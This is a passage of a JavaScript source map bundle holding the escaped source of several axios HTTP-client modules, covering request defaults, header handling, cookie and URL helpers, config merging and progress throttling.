utils.forEach(this.handlers, function forEachHandler(h) {\n      if (h !== null) {\n        fn(h);\n      }\n    });\n  }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n  silentJSONParsing: true,\n  forcedJSONParsing: true,\n  clarifyTimeoutError: false\n};\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n  isBrowser: true,\n  classes: {\n    URLSearchParams,\n    FormData,\n    Blob\n  },\n  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n * nativescript\n *  navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n  (product) => {\n    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n  })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n  return (\n    typeof WorkerGlobalScope !== 'undefined' &&\n    // eslint-disable-next-line no-undef\n    self instanceof WorkerGlobalScope &&\n    typeof self.importScripts === 'function'\n  );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n  hasBrowserEnv,\n  hasStandardBrowserWebWorkerEnv,\n  hasStandardBrowserEnv,\n  origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n  ...utils,\n  ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n  // foo[x][y][z]\n  // foo.x.y.z\n  // foo-x-y-z\n  // foo x y z\n  return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n    return match[0] === '[]' ? '' : match[1] || match[0];\n  });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n  const obj = {};\n  const keys = Object.keys(arr);\n  let i;\n  const len = keys.length;\n  let key;\n  for (i = 0; i < len; i++) {\n    key = keys[i];\n    obj[key] = arr[key];\n  }\n  return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n  function buildPath(path, value, target, index) {\n    let name = path[index++];\n\n    if (name === '__proto__') return true;\n\n    const isNumericKey = Number.isFinite(+name);\n    const isLast = index >= path.length;\n    name = !name && utils.isArray(target) ? target.length : name;\n\n    if (isLast) {\n      if (utils.hasOwnProp(target, name)) {\n        target[name] = [target[name], value];\n      } else {\n        target[name] = value;\n      }\n\n      return !isNumericKey;\n    }\n\n    if (!target[name] || !utils.isObject(target[name])) {\n      target[name] = [];\n    }\n\n    const result = buildPath(path, value, target[name], index);\n\n    if (result && utils.isArray(target[name])) {\n      target[name] = arrayToObject(target[name]);\n    }\n\n    return !isNumericKey;\n  }\n\n  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n    const obj = {};\n\n    utils.forEachEntry(formData, (name, value) => {\n      buildPath(parsePropPath(name), value, obj, 0);\n    });\n\n    return obj;\n  }\n\n  return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n  if (utils.isString(rawValue)) {\n    try {\n      (parser || JSON.parse)(rawValue);\n      return utils.trim(rawValue);\n    } catch (e) {\n      if (e.name !== 'SyntaxError') {\n        throw e;\n      }\n    }\n  }\n\n  return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n  transitional: transitionalDefaults,\n\n  adapter: ['xhr', 'http', 'fetch'],\n\n  transformRequest: [function transformRequest(data, headers) {\n    const contentType = headers.getContentType() || '';\n    const hasJSONContentType = contentType.indexOf('application/json') > -1;\n    const isObjectPayload = utils.isObject(data);\n\n    if (isObjectPayload && utils.isHTMLForm(data)) {\n      data = new FormData(data);\n    }\n\n    const isFormData = utils.isFormData(data);\n\n    if (isFormData) {\n      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n    }\n\n    if (utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data) ||\n      utils.isReadableStream(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n      return data.toString();\n    }\n\n    let isFileList;\n\n    if (isObjectPayload) {\n      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n        return toURLEncodedForm(data, this.formSerializer).toString();\n      }\n\n      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n        const _FormData = this.env && this.env.FormData;\n\n        return toFormData(\n          isFileList ? {'files[]': data} : data,\n          _FormData && new _FormData(),\n          this.formSerializer\n        );\n      }\n    }\n\n    if (isObjectPayload || hasJSONContentType ) {\n      headers.setContentType('application/json', false);\n      return stringifySafely(data);\n    }\n\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    const transitional = this.transitional || defaults.transitional;\n    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n    const JSONRequested = this.responseType === 'json';\n\n    if (utils.isResponse(data) || utils.isReadableStream(data)) {\n      return data;\n    }\n\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      const silentJSONParsing = transitional && transitional.silentJSONParsing;\n      const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n      try {\n        return JSON.parse(data);\n      } catch (e) {\n        if (strictJSONParsing) {\n          if (e.name === 'SyntaxError') {\n            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n          }\n          throw e;\n        }\n      }\n    }\n\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n  maxBodyLength: -1,\n\n  env: {\n    FormData: platform.classes.FormData,\n    Blob: platform.classes.Blob\n  },\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  },\n\n  headers: {\n    common: {\n      'Accept': 'application/json, text/plain, */*',\n      'Content-Type': undefined\n    }\n  }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n  defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n    visitor: function(value, key, path, helpers) {\n      if (platform.isNode && utils.isBuffer(value)) {\n        this.append(key, value.toString('base64'));\n        return false;\n      }\n\n      return helpers.defaultVisitor.apply(this, arguments);\n    }\n  }, options));\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n  const parsed = {};\n  let key;\n  let val;\n  let i;\n\n  rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n    i = line.indexOf(':');\n    key = line.substring(0, i).trim().toLowerCase();\n    val = line.substring(i + 1).trim();\n\n    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n      return;\n    }\n\n    if (key === 'set-cookie') {\n      if (parsed[key]) {\n        parsed[key].push(val);\n      } else {\n        parsed[key] = [val];\n      }\n    } else {\n      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n    }\n  });\n\n  return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n  return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n  if (value === false || value == null) {\n    return value;\n  }\n\n  return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n  const tokens = Object.create(null);\n  const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n  let match;\n\n  while ((match = tokensRE.exec(str))) {\n    tokens[match[1]] = match[2];\n  }\n\n  return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n  if (utils.isFunction(filter)) {\n    return filter.call(this, value, header);\n  }\n\n  if (isHeaderNameFilter) {\n    value = header;\n  }\n\n  if (!utils.isString(value)) return;\n\n  if (utils.isString(filter)) {\n    return value.indexOf(filter) !== -1;\n  }\n\n  if (utils.isRegExp(filter)) {\n    return filter.test(value);\n  }\n}\n\nfunction formatHeader(header) {\n  return header.trim()\n    .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n      return char.toUpperCase() + str;\n    });\n}\n\nfunction buildAccessors(obj, header) {\n  const accessorName = utils.toCamelCase(' ' + header);\n\n  ['get', 'set', 'has'].forEach(methodName => {\n    Object.defineProperty(obj, methodName + accessorName, {\n      value: function(arg1, arg2, arg3) {\n        return this[methodName].call(this, header, arg1, arg2, arg3);\n      },\n      configurable: true\n    });\n  });\n}\n\nclass AxiosHeaders {\n  constructor(headers) {\n    headers && this.set(headers);\n  }\n\n  set(header, valueOrRewrite, rewrite) {\n    const self = this;\n\n    function setHeader(_value, _header, _rewrite) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!lHeader) {\n        throw new Error('header name must be a non-empty string');\n      }\n\n      const key = utils.findKey(self, lHeader);\n\n      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n        self[key || _header] = normalizeValue(_value);\n      }\n    }\n\n    const setHeaders = (headers, _rewrite) =>\n      utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n    if (utils.isPlainObject(header) || header instanceof this.constructor) {\n      setHeaders(header, valueOrRewrite)\n    } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n      setHeaders(parseHeaders(header), valueOrRewrite);\n    } else if (utils.isHeaders(header)) {\n      for (const [key, value] of header.entries()) {\n        setHeader(value, key, rewrite);\n      }\n    } else {\n      header != null && setHeader(valueOrRewrite, header, rewrite);\n    }\n\n    return this;\n  }\n\n  get(header, parser) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      if (key) {\n        const value = this[key];\n\n        if (!parser) {\n          return value;\n        }\n\n        if (parser === true) {\n          return parseTokens(value);\n        }\n\n        if (utils.isFunction(parser)) {\n          return parser.call(this, value, key);\n        }\n\n        if (utils.isRegExp(parser)) {\n          return parser.exec(value);\n        }\n\n        throw new TypeError('parser must be boolean|regexp|function');\n      }\n    }\n  }\n\n  has(header, matcher) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n    }\n\n    return false;\n  }\n\n  delete(header, matcher) {\n    const self = this;\n    let deleted = false;\n\n    function deleteHeader(_header) {\n      _header = normalizeHeader(_header);\n\n      if (_header) {\n        const key = utils.findKey(self, _header);\n\n        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n          delete self[key];\n\n          deleted = true;\n        }\n      }\n    }\n\n    if (utils.isArray(header)) {\n      header.forEach(deleteHeader);\n    } else {\n      deleteHeader(header);\n    }\n\n    return deleted;\n  }\n\n  clear(matcher) {\n    const keys = Object.keys(this);\n    let i = keys.length;\n    let deleted = false;\n\n    while (i--) {\n      const key = keys[i];\n      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n        delete this[key];\n        deleted = true;\n      }\n    }\n\n    return deleted;\n  }\n\n  normalize(format) {\n    const self = this;\n    const headers = {};\n\n    utils.forEach(this, (value, header) => {\n      const key = utils.findKey(headers, header);\n\n      if (key) {\n        self[key] = normalizeValue(value);\n        delete self[header];\n        return;\n      }\n\n      const normalized = format ? formatHeader(header) : String(header).trim();\n\n      if (normalized !== header) {\n        delete self[header];\n      }\n\n      self[normalized] = normalizeValue(value);\n\n      headers[normalized] = true;\n    });\n\n    return this;\n  }\n\n  concat(...targets) {\n    return this.constructor.concat(this, ...targets);\n  }\n\n  toJSON(asStrings) {\n    const obj = Object.create(null);\n\n    utils.forEach(this, (value, header) => {\n      value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n    });\n\n    return obj;\n  }\n\n  [Symbol.iterator]() {\n    return Object.entries(this.toJSON())[Symbol.iterator]();\n  }\n\n  toString() {\n    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'AxiosHeaders';\n  }\n\n  static from(thing) {\n    return thing instanceof this ? thing : new this(thing);\n  }\n\n  static concat(first, ...targets) {\n    const computed = new this(first);\n\n    targets.forEach((target) => computed.set(target));\n\n    return computed;\n  }\n\n  static accessor(header) {\n    const internals = this[$internals] = (this[$internals] = {\n      accessors: {}\n    });\n\n    const accessors = internals.accessors;\n    const prototype = this.prototype;\n\n    function defineAccessor(_header) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!accessors[lHeader]) {\n        buildAccessors(prototype, _header);\n        accessors[lHeader] = true;\n      }\n    }\n\n    utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n    return this;\n  }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n  return {\n    get: () => value,\n    set(headerValue) {\n      this[mapped] = headerValue;\n    }\n  }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n  const config = this || defaults;\n  const context = response || config;\n  const headers = AxiosHeaders.from(context.headers);\n  let data = context.data;\n\n  utils.forEach(fns, function transform(fn) {\n    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n  });\n\n  headers.normalize();\n\n  return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n  this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n  __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n  const validateStatus = response.config.validateStatus;\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(new AxiosError(\n      'Request failed with status code ' + response.status,\n      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n      response.config,\n      response.request,\n      response\n    ));\n  }\n}\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n  let bytesNotified = 0;\n  const _speedometer = speedometer(50, 250);\n\n  return throttle(e => {\n    const loaded = e.loaded;\n    const total = e.lengthComputable ? e.total : undefined;\n    const progressBytes = loaded - bytesNotified;\n    const rate = _speedometer(progressBytes);\n    const inRange = loaded <= total;\n\n    bytesNotified = loaded;\n\n    const data = {\n      loaded,\n      total,\n      progress: total ? (loaded / total) : undefined,\n      bytes: progressBytes,\n      rate: rate ? rate : undefined,\n      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n      event: e,\n      lengthComputable: total != null\n    };\n\n    data[isDownloadStream ? 'download' : 'upload'] = true;\n\n    listener(data);\n  }, freq);\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n  samplesCount = samplesCount || 10;\n  const bytes = new Array(samplesCount);\n  const timestamps = new Array(samplesCount);\n  let head = 0;\n  let tail = 0;\n  let firstSampleTS;\n\n  min = min !== undefined ? min : 1000;\n\n  return function push(chunkLength) {\n    const now = Date.now();\n\n    const startedAt = timestamps[tail];\n\n    if (!firstSampleTS) {\n      firstSampleTS = now;\n    }\n\n    bytes[head] = chunkLength;\n    timestamps[head] = now;\n\n    let i = tail;\n    let bytesCount = 0;\n\n    while (i !== head) {\n      bytesCount += bytes[i++];\n      i = i % samplesCount;\n    }\n\n    head = (head + 1) % samplesCount;\n\n    if (head === tail) {\n      tail = (tail + 1) % samplesCount;\n    }\n\n    if (now - firstSampleTS < min) {\n      return;\n    }\n\n    const passed = startedAt && now - startedAt;\n\n    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n  };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n  let timestamp = 0;\n  const threshold = 1000 / freq;\n  let timer = null;\n  return function throttled() {\n    const force = this === true;\n\n    const now = Date.now();\n    if (force || now - timestamp > threshold) {\n      if (timer) {\n        clearTimeout(timer);\n        timer = null;\n      }\n      timestamp = now;\n      return fn.apply(null, arguments);\n    }\n    if (!timer) {\n      timer = setTimeout(() => {\n        timer = null;\n        timestamp = Date.now();\n        return fn.apply(null, arguments);\n      }, threshold - (now - timestamp));\n    }\n  };\n}\n\nexport default throttle;\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    const msie = /(msie|trident)/i.test(navigator.userAgent);\n    const urlParsingNode = document.createElement('a');\n    let originURL;\n\n    /**\n    * Parse a URL to discover its components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      let href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n          urlParsingNode.pathname :\n          '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n          parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n  // Standard browser envs support document.cookie\n  {\n    write(name, value, expires, path, domain, secure) {\n      const cookie = [name + '=' + encodeURIComponent(value)];\n\n      utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n      utils.isString(path) && cookie.push('path=' + path);\n\n      utils.isString(domain) && cookie.push('domain=' + domain);\n\n      secure === true && cookie.push('secure');\n\n      document.cookie = cookie.join('; ');\n    },\n\n    read(name) {\n      const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n      return (match ? decodeURIComponent(match[3]) : null);\n    },\n\n    remove(name) {\n      this.write(name, '', Date.now() - 86400000);\n    }\n  }\n\n  :\n\n  // Non-standard browser env (web workers, react-native) lack needed support.\n  {\n    write() {},\n    read() {\n      return null;\n    },\n    remove() {}\n  };\n\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n  if (baseURL && !isAbsoluteURL(requestedURL)) {\n    return combineURLs(baseURL, requestedURL);\n  }\n  return requestedURL;\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n  // eslint-disable-next-line no-param-reassign\n  config2 = config2 || {};\n  const config = {};\n\n  function getMergedValue(target, source, caseless) {\n    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n      return utils.merge.call({caseless}, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDeepProperties(a, b, caseless) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(a, b, caseless);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a, caseless);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function valueFromConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function defaultToConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDirectKeys(a, b, prop) {\n    if (prop in config2) {\n      return getMergedValue(a, b);\n    } else if (prop in config1) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  const mergeMap = {\n    url: valueFromConfig2,\n    method: valueFromConfig2,\n    data: valueFromConfig2,\n    baseURL: defaultToConfig2,\n    transformRequest: defaultToConfig2,\n    transformResponse: defaultToConfig2,\n    paramsSerializer: defaultToConfig2,\n    timeout: defaultToConfig2,\n    timeoutMessage: defaultToConfig2,\n    withCredentials: defaultToConfig2,\n    withXSRFToken: defaultToConfig2,\n    adapter: defaultToConfig2,\n    responseType: defaultToConfig2,\n    xsrfCookieName: defaultToConfig2,\n    xsrfHeaderName: defaultToConfig2,\n    onUploadProgress: defaultToConfig2,\n    onDownloadProgress: defaultToConfig2,\n    decompress: defaultToConfig2,\n    maxContentLength: defaultToConfig2,\n    maxBodyLength: defaultToConfig2,\n    beforeRedirect: defaultToConfig2,\n    transport: defaultToConfig2,\n    httpAgent: defaultToConfig2,\n    httpsAgent: defaultToConfig2,\n    cancelToken: defaultToConfig2,\n    socketPath: defaultToConfig2,\n    responseEncoding: defaultToConfig2,\n    validateStatus: mergeDirectKeys,\n    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n  };\n\n  utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n    const merge = mergeMap[prop] || mergeDeepProperties;\n    const configValue = merge(config1[prop], config2[prop], prop);\n    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n  });\n\n  return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n  const newConfig = mergeConfig({}, config);\n\n  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n  newConfig.headers = headers = AxiosHeaders.from(headers);\n\n  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n  // HTTP basic authentication\n  if (auth) {\n    headers.set('Authorization', 'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n    );\n  }\n\n  let contentType;\n\n  if (utils.isFormData(data)) {\n    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n      headers.setContentType(undefined); // Let the browser set it\n    } else if ((contentType = headers.getContentType()) !== false) {\n      // fix semicolon duplication issue for ReactNative FormData implementation\n      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n      